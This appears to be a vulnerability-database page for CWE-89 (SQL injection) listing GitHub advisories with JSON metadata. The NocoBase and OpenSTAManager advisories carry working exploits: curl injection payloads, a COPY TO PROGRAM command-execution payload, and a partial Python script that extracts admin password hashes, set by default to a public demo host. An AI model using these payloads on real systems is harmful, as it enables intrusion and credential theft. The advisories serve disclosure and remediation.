CWE-89
AllowedImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
28440 vulnerabilities reference this CWE, most recent first.
GHSA-P83P-MWRH-7PP6
Vulnerability from github – Published: 2025-05-10 18:31 – Updated: 2025-05-10 18:31A vulnerability classified as critical was found in PHPGurukul e-Diary Management System 1.0. This vulnerability affects unknown code of the file /my-profile.php. The manipulation of the argument fname leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well.
{
"affected": [],
"aliases": [
"CVE-2025-4508"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-10T17:15:53Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical was found in PHPGurukul e-Diary Management System 1.0. This vulnerability affects unknown code of the file /my-profile.php. The manipulation of the argument fname leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well.",
"id": "GHSA-p83p-mwrh-7pp6",
"modified": "2025-05-10T18:31:29Z",
"published": "2025-05-10T18:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4508"
},
{
"type": "WEB",
"url": "https://github.com/y77-88/myCVE/issues/4"
},
{
"type": "WEB",
"url": "https://phpgurukul.com"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.308224"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.308224"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.567263"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P83V-CGFV-MFHV
Vulnerability from github – Published: 2024-06-05 21:31 – Updated: 2024-11-18 16:26A vulnerability, which was classified as critical, has been found in Chanjet Smooth T+system 3.5. This issue affects some unknown processing of the file /tplus/UFAQD/keyEdit.aspx. The manipulation of the argument KeyID leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-267185 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-5653"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-05T21:15:15Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as critical, has been found in Chanjet Smooth T+system 3.5. This issue affects some unknown processing of the file /tplus/UFAQD/keyEdit.aspx. The manipulation of the argument KeyID leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-267185 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-p83v-cgfv-mfhv",
"modified": "2024-11-18T16:26:42Z",
"published": "2024-06-05T21:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5653"
},
{
"type": "WEB",
"url": "https://github.com/vulreport3r/cve-reports/blob/main/There_is_a_SQL_injection_vulnerability_in_the_Changjietong_T%2Bsystem/report.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.267185"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.267185"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.345311"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-P842-VV7G-4Q9V
Vulnerability from github – Published: 2022-05-01 23:37 – Updated: 2022-05-01 23:37phpMyAdmin before 2.11.5 accesses $_REQUEST to obtain some parameters instead of $_GET and $_POST, which allows attackers in the same domain to override certain variables and conduct SQL injection and Cross-Site Request Forgery (CSRF) attacks by using crafted cookies.
{
"affected": [],
"aliases": [
"CVE-2008-1149"
],
"database_specific": {
"cwe_ids": [
"CWE-352",
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-03-04T23:44:00Z",
"severity": "MODERATE"
},
"details": "phpMyAdmin before 2.11.5 accesses $_REQUEST to obtain some parameters instead of $_GET and $_POST, which allows attackers in the same domain to override certain variables and conduct SQL injection and Cross-Site Request Forgery (CSRF) attacks by using crafted cookies.",
"id": "GHSA-p842-vv7g-4q9v",
"modified": "2022-05-01T23:37:13Z",
"published": "2022-05-01T23:37:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-1149"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/40968"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2008-March/msg00069.html"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2008-March/msg00100.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2008-11/msg00002.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2009-02/msg00000.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29143"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29200"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29287"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/29964"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30816"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32834"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/33822"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2008/dsa-1557"
},
{
"type": "WEB",
"url": "http://www.gentoo.org/security/en/glsa/glsa-200803-15.xml"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2008:131"
},
{
"type": "WEB",
"url": "http://www.phpmyadmin.net/home_page/security.php?issue=PMASA-2008-1"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28068"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/0731"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/0758"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P844-J7RX-QQM7
Vulnerability from github – Published: 2024-04-15 09:30 – Updated: 2025-05-12 21:30Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Markus Seyer Find Duplicates.This issue affects Find Duplicates: from n/a through 1.4.6.
{
"affected": [],
"aliases": [
"CVE-2024-32127"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-15T08:15:13Z",
"severity": "HIGH"
},
"details": "Improper Neutralization of Special Elements used in an SQL Command (\u0027SQL Injection\u0027) vulnerability in Markus Seyer Find Duplicates.This issue affects Find Duplicates: from n/a through 1.4.6.",
"id": "GHSA-p844-j7rx-qqm7",
"modified": "2025-05-12T21:30:54Z",
"published": "2024-04-15T09:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32127"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/find-duplicates/wordpress-find-duplicates-plugin-1-4-6-subscriber-sql-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-P849-8HWH-84J9
Vulnerability from github – Published: 2026-07-31 19:44 – Updated: 2026-07-31 19:44Summary
GET /api/myInAppChannels:list accepts a structured filter query parameter. The handler for the latestMsgReceiveTimestamp field splices the $lt value directly into a Sequelize.literal() template string with no escape, type cast, or parameter binding. The action ACL is loggedIn, so any authenticated account reaches it. The default auth-basic authenticator ships allowSignUp: true, so the account is obtainable anonymously.
The injection is reachable with the URL parameter filter[latestMsgReceiveTimestamp][$lt]=<expression>. The pg driver in front of Sequelize accepts stacked statements, so the chain extends from boolean and timing oracles to multi-statement payloads.
The shipped docker-compose.yml creates the DB role nocobase on a stock postgres:16 image, which assigns the rolsuper attribute by default. COPY ... TO PROGRAM '...' therefore runs shell commands as uid=999(postgres) inside the database container.
Result: any anonymous visitor signs up, signs in, and exfiltrates arbitrary rows or executes shell commands inside the database container with one HTTP GET after the sign-in.
Affected
NocoBase server, @nocobase/plugin-notification-in-app-message <=2.0.57. Confirmed live-exploitable on the official nocobase/nocobase:2.0.57 Docker image (HEAD e35a2737d9df139cacecae0151c3326746e2339a).
@nocobase/plugin-notification-in-app-message is enabled by default in @nocobase/preset-nocobase. The default auth-basic ships allowSignUp: true. The shipped docker/app-postgres/docker-compose.yml uses POSTGRES_USER=nocobase against postgres:16, which makes the role a PostgreSQL superuser; COPY ... TO PROGRAM runs from this role.
Root cause
packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts:62-63: the latestMsgReceiveTimestamp filter is built as Sequelize.literal(\${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`). The$ltvalue comes straight from the GETfilterJSON; the template uses${...}interpolation with noescape(),replacements`, or type cast.
packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/InAppNotificationChannel.ts:200: app.acl.allow('myInAppChannels', '*', 'loggedIn') exposes every action on the resource to every authenticated role, including the seeded member.
packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:295: allowSignUp: true ships in the default auth-basic seed; POST /api/auth:signUp returns 200 with no admin involvement.
docker/app-postgres/docker-compose.yml:30: POSTGRES_USER: nocobase against postgres:16. The bare postgres:16 image creates the named role with rolsuper=true (live-verified: SELECT rolsuper FROM pg_roles WHERE rolname='nocobase' returns true). The pg driver simple-query accepts stacked statements.
Reproduction
Tested against nocobase/nocobase:2.0.57 from the official Docker image with the default app-postgres compose. Attacker is an anonymously-signed-up member.
- Anonymous sign-up, then sign-in for a
memberJWT.
curl -X POST -H 'Content-Type: application/json' \
-d '{"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}' \
http://target:13000/api/auth:signUp?authenticator=basic
TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \
-d '{"account":"a","password":"P!ssw0rd1"}' \
http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)
- Time-based oracle confirms injection. Each request below takes ~5 seconds.
curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \
"http://target:13000/api/myInAppChannels:list" \
--data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a"
- Stacked-statement
COPY ... TO PROGRAMruns shell asuid=999(postgres)inside the database container.
curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \
"http://target:13000/api/myInAppChannels:list" \
--data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/PWN_VERIFY.txt'; --"
docker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt
# uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
Live-verified: sqlmap 1.10.3 against this endpoint reports Type: boolean-based blind (payload 0) AND 1511=(SELECT (CASE WHEN (1511=1511) THEN 1511 ELSE (SELECT 4568 UNION SELECT 9477) END))-- KVYH), Type: time-based blind, current user: nocobase, current user is DBA: True. Admin password hash ef6ea7f6...8ea12 exfiltrated via COPY (SELECT email,password FROM users WHERE id=1) TO PROGRAM 'cat > /tmp/PWN_HASH.txt'. Reproduced 2026-05-26 against HEAD e35a2737.
Impact
- Authenticated SQL injection with time-based, boolean-based, and stacked-statement primitives (
pgdriver simple-query). - Arbitrary row read of any collection, including
users.passwordPBKDF2 hashes for the super-admin account. - Shell command execution as
uid=999(postgres)inside the PostgreSQL container viaCOPY ... TO PROGRAM. - Anonymous reach in default deployments because
auth-basicshipsallowSignUp: true.
Credit
Jan Kahmen, turingpoint (jan@turingpoint.de)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.60"
},
"package": {
"ecosystem": "npm",
"name": "@nocobase/plugin-notification-in-app-message"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.61"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52887"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-31T19:44:59Z",
"nvd_published_at": "2026-07-15T21:16:54Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`GET /api/myInAppChannels:list` accepts a structured `filter` query parameter. The handler for the `latestMsgReceiveTimestamp` field splices the `$lt` value directly into a `Sequelize.literal()` template string with no escape, type cast, or parameter binding. The action ACL is `loggedIn`, so any authenticated account reaches it. The default `auth-basic` authenticator ships `allowSignUp: true`, so the account is obtainable anonymously.\n\nThe injection is reachable with the URL parameter `filter[latestMsgReceiveTimestamp][$lt]=\u003cexpression\u003e`. The `pg` driver in front of Sequelize accepts stacked statements, so the chain extends from boolean and timing oracles to multi-statement payloads.\n\nThe shipped `docker-compose.yml` creates the DB role `nocobase` on a stock `postgres:16` image, which assigns the `rolsuper` attribute by default. `COPY ... TO PROGRAM \u0027...\u0027` therefore runs shell commands as `uid=999(postgres)` inside the database container.\n\nResult: any anonymous visitor signs up, signs in, and exfiltrates arbitrary rows or executes shell commands inside the database container with one HTTP GET after the sign-in.\n\n## Affected\n\nNocoBase server, `@nocobase/plugin-notification-in-app-message` `\u003c=2.0.57`. Confirmed live-exploitable on the official `nocobase/nocobase:2.0.57` Docker image (HEAD `e35a2737d9df139cacecae0151c3326746e2339a`).\n\n`@nocobase/plugin-notification-in-app-message` is enabled by default in `@nocobase/preset-nocobase`. The default `auth-basic` ships `allowSignUp: true`. The shipped `docker/app-postgres/docker-compose.yml` uses `POSTGRES_USER=nocobase` against `postgres:16`, which makes the role a PostgreSQL superuser; `COPY ... TO PROGRAM` runs from this role.\n\n## Root cause\n\n`packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts:62-63`: the `latestMsgReceiveTimestamp` filter is built as `Sequelize.literal(\\`${latestMsgReceiveTimestampSQL} \u003c ${filter.latestMsgReceiveTimestamp.$lt}\\`)`. The `$lt` value comes straight from the GET `filter` JSON; the template uses `${...}` interpolation with no `escape()`, `replacements`, or type cast.\n\n`packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/InAppNotificationChannel.ts:200`: `app.acl.allow(\u0027myInAppChannels\u0027, \u0027*\u0027, \u0027loggedIn\u0027)` exposes every action on the resource to every authenticated role, including the seeded `member`.\n\n`packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:295`: `allowSignUp: true` ships in the default `auth-basic` seed; `POST /api/auth:signUp` returns 200 with no admin involvement.\n\n`docker/app-postgres/docker-compose.yml:30`: `POSTGRES_USER: nocobase` against `postgres:16`. The bare `postgres:16` image creates the named role with `rolsuper=true` (live-verified: `SELECT rolsuper FROM pg_roles WHERE rolname=\u0027nocobase\u0027` returns `true`). The `pg` driver simple-query accepts stacked statements.\n\n## Reproduction\n\nTested against `nocobase/nocobase:2.0.57` from the official Docker image with the default `app-postgres` compose. Attacker is an anonymously-signed-up `member`.\n\n1. Anonymous sign-up, then sign-in for a `member` JWT.\n\n```\ncurl -X POST -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"a\",\"password\":\"P!ssw0rd1\",\"confirm_password\":\"P!ssw0rd1\"}\u0027 \\\n http://target:13000/api/auth:signUp?authenticator=basic\nTOKEN=$(curl -sX POST -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"account\":\"a\",\"password\":\"P!ssw0rd1\"}\u0027 \\\n http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token)\n```\n\n2. Time-based oracle confirms injection. Each request below takes ~5 seconds.\n\n```\ncurl -sG -H \"Authorization: Bearer $TOKEN\" -H \"X-Authenticator: basic\" \\\n \"http://target:13000/api/myInAppChannels:list\" \\\n --data-urlencode \"filter[latestMsgReceiveTimestamp][\\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a\"\n```\n\n3. Stacked-statement `COPY ... TO PROGRAM` runs shell as `uid=999(postgres)` inside the database container.\n\n```\ncurl -sG -H \"Authorization: Bearer $TOKEN\" -H \"X-Authenticator: basic\" \\\n \"http://target:13000/api/myInAppChannels:list\" \\\n --data-urlencode \"filter[latestMsgReceiveTimestamp][\\$lt]=0); COPY (SELECT 1) TO PROGRAM \u0027id \u003e /tmp/PWN_VERIFY.txt\u0027; --\"\ndocker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt\n# uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)\n```\n\nLive-verified: sqlmap 1.10.3 against this endpoint reports `Type: boolean-based blind` (payload `0) AND 1511=(SELECT (CASE WHEN (1511=1511) THEN 1511 ELSE (SELECT 4568 UNION SELECT 9477) END))-- KVYH`), `Type: time-based blind`, `current user: nocobase`, `current user is DBA: True`. Admin password hash `ef6ea7f6...8ea12` exfiltrated via `COPY (SELECT email,password FROM users WHERE id=1) TO PROGRAM \u0027cat \u003e /tmp/PWN_HASH.txt\u0027`. Reproduced 2026-05-26 against HEAD `e35a2737`.\n\n## Impact\n\n- Authenticated SQL injection with time-based, boolean-based, and stacked-statement primitives (`pg` driver simple-query).\n- Arbitrary row read of any collection, including `users.password` PBKDF2 hashes for the super-admin account.\n- Shell command execution as `uid=999(postgres)` inside the PostgreSQL container via `COPY ... TO PROGRAM`.\n- Anonymous reach in default deployments because `auth-basic` ships `allowSignUp: true`.\n\n## Credit\n\nJan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de)",
"id": "GHSA-p849-8hwh-84j9",
"modified": "2026-07-31T19:44:59Z",
"published": "2026-07-31T19:44:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-p849-8hwh-84j9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52887"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/pull/9630"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/commit/68d64e3fcfb8be2ae4f3bfc9e1ee3f85b87c89ce"
},
{
"type": "PACKAGE",
"url": "https://github.com/nocobase/nocobase"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.61"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE"
}
GHSA-P864-FQGV-92Q4
Vulnerability from github – Published: 2026-02-06 18:19 – Updated: 2026-02-06 21:42Summary
Critical Time-Based Blind SQL Injection vulnerability in the article pricing module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer data, and financial records through time-based Boolean inference attacks.
Status: ✅ Confirmed and tested on live instance (v2.9.8) end demo.osmbusiness.it (v2.9.7)
Vulnerable Parameter: idarticolo (GET)
Affected Endpoint: /ajax_complete.php?op=getprezzi
Affected Module: Articoli (Articles/Products)
Details
OpenSTAManager v2.9.8 contains a critical Time-Based Blind SQL Injection vulnerability in the article pricing completion handler. The application fails to properly sanitize the idarticolo parameter before using it in SQL queries, allowing attackers to inject arbitrary SQL commands and extract sensitive data through time-based Boolean inference.
Vulnerability Chain:
-
Entry Point:
/ajax_complete.php(Line 27)php $op = get('op'); $result = AJAX::complete($op);Theopparameter is retrieved but the vulnerability lies in other parameters. -
Distribution:
/src/AJAX.php::complete()(Line 189)php $result = self::getCompleteResults($file, $resource); -
Execution:
/src/AJAX.php::getCompleteResults()(Line 402)php require $file;Module-specific complete.php files are included. -
Vulnerable Parameter:
/modules/articoli/ajax/complete.php(Line 26)php $idarticolo = get('idarticolo');Theidarticoloparameter is retrieved from GET request. -
Vulnerable SQL Query:
/modules/articoli/ajax/complete.php(Line 70) PRIMARY VULNERABILITYphp FROM `dt_righe_ddt` INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt` INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt` WHERE `idarticolo`='.$idarticolo.' AND `dt_tipiddt`.`dir`="entrata" AND `idanagrafica`='.prepare($idanagrafica).'Impact: Direct concatenation of$idarticolowithoutprepare(), while$idanagraficais properly sanitized.
Context - Full Query Structure (Lines 39-74):
The vulnerable query is part of a UNION query that fetches pricing history from invoices and delivery notes:
$documenti = $dbo->fetchArray('
SELECT
`iddocumento` AS id,
"Fattura" AS tipo,
"Fatture di vendita" AS modulo,
(`subtotale`-`sconto`)/`qta` AS costo_unitario,
...
FROM
`co_righe_documenti`
INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
WHERE
`idarticolo`='.prepare($idarticolo).' AND ... # ✓ PROPERLY SANITIZED (Line 54)
UNION
SELECT
`idddt` AS id,
"Ddt" AS tipo,
...
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND # ✗ VULNERABLE - NO prepare() (Line 70)
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
ORDER BY
`id` DESC LIMIT 0,5');
Root Cause: Developer used prepare() correctly in the first SELECT (Line 54) but forgot to use it in the second SELECT of the UNION query (Line 70), creating an inconsistent security pattern.
PoC
Step 1: Login
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Step 2: Verify Vulnerability (Time-Based SLEEP)
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
> /dev/null
# Result: real 0m10.32s (10.32 seconds)
# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
> /dev/null
# Result: real 0m3.36s (3.36 seconds)
# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
> /dev/null
# Result: real 0m0.31s (0.31 seconds)
Step 3: Data Extraction - Database Name
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)
# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)
# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')
# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')
Step 4: Extract Sensitive Data - Admin Credentials
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)
# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)
Payload Explanation:
Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)
Injection breakdown:
1. 1 - Valid article ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true
SQL Query Result:
WHERE
`idarticolo`=1
AND SUBSTRING(DATABASE(),1,1)='o'
AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
AND `dt_tipiddt`.`dir`="entrata"
AND `idanagrafica`=1
Automated Extraction Script Example:
import requests
import time
import string
import sys
# Default Configuration
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3 # Increased to 3s for stability on remote demo instance
def login(session, base_url, user, pwd):
"""Authenticates to the application and maintains session."""
login_url = f"{base_url}/index.php?op=login"
data = {"username": user, "password": pwd}
print(f"[*] Attempting login to: {login_url}...")
try:
response = session.post(login_url, data=data, timeout=10)
# Check if login was successful (usually indicated by presence of logout link or redirect)
if "logout" in response.text.lower() or response.status_code == 200:
print("[+] Login successful!")
return True
else:
print("[-] Login failed. Please check credentials.")
return False
except Exception as e:
print(f"[!] Connection error: {e}")
return False
def extract_data(session, base_url, sql_query, label="Data"):
"""Extracts data character by character until the end of the string is reached."""
print(f"\n[*] Extracting: {label}...")
result = ""
position = 1
target_endpoint = f"{base_url}/ajax_complete.php"
# Charset optimized for database names and bcrypt hashes ($, ., /)
charset = string.ascii_letters + string.digits + "$./" + string.punctuation
while True:
found_char = False
for char in charset:
# Payload: If the condition is true, the server sleeps for SLEEP_TIME
# Using ORD() and SUBSTRING() to handle various character types safely
payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"
params = {
"op": "getprezzi",
"idanagrafica": "1",
"idarticolo": payload
}
try:
start_time = time.time()
session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
elapsed = time.time() - start_time
if elapsed >= SLEEP_TIME:
result += char
found_char = True
sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
sys.stdout.flush()
break
except requests.exceptions.RequestException:
# Handle network jitter/timeouts by retrying or continuing
continue
# If no character from charset triggered a sleep, we've reached the end of the data
if not found_char:
print(f"\n[!] End of string or no data found at position {position}.")
break
position += 1
return result
def main():
s = requests.Session()
# Allow target URL to be passed as a command line argument
target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
if login(s, target, USERNAME, PASSWORD):
# 1. Database name extraction
db = extract_data(s, target, "SELECT DATABASE()", "Database Name")
# 2. Admin username extraction
user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin Username (id=1)")
# 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)
pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Password Hash")
print(f"\n\n{'='*35}")
